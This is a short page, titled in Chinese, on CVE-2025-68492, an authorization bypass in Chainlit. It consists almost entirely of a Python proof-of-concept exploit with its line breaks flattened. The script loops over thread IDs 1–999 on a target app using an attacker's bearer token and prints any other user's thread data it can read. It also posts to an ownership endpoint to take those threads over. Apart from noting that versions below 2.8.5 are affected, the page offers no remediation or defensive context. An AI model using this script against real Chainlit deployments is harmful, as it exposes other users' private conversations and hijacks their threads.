CVE-2025-68492: Chainlit 授权绕过漏洞允许查看线程或获取所有权

# CVE-2025-68492 PoC - Chainlit Authorization Bypass # This PoC demonstrates accessing threads belonging to other users import requests import json TARGET_URL = "http://target-chainlit-app.com" ATTACKER_TOKEN = "attacker_auth_token_here" def exploit_thread_enumeration(): """ Exploit Chainlit authorization bypass by enumerating thread IDs """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Try to access threads with different IDs for thread_id in range(1, 1000): url = f"{TARGET_URL}/api/threads/{thread_id}" response = requests.get(url, headers=headers) if response.status_code == 200: thread_data = response.json() print(f"[!] Found accessible thread ID: {thread_id}") print(f"Thread data: {json.dumps(thread_data, indent=2)}") # Attempt to change thread ownership change_ownership(thread_id) elif response.status_code == 403: print(f"[-] Thread {thread_id}: Access denied") else: print(f"[*] Thread {thread_id}: Status {response.status_code}") def change_ownership(thread_id): """ Attempt to take ownership of a thread """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "userId": "attacker_user_id", "threadId": thread_id } url = f"{TARGET_URL}/api/threads/{thread_id}/ownership" response = requests.post(url, headers=headers, json=payload) if response.status_code == 200: print(f"[+] Successfully took ownership of thread {thread_id}") if __name__ == "__main__": print("CVE-2025-68492 - Chainlit Authorization Bypass PoC") print("Target: Chainlit < 2.8.5") exploit_thread_enumeration()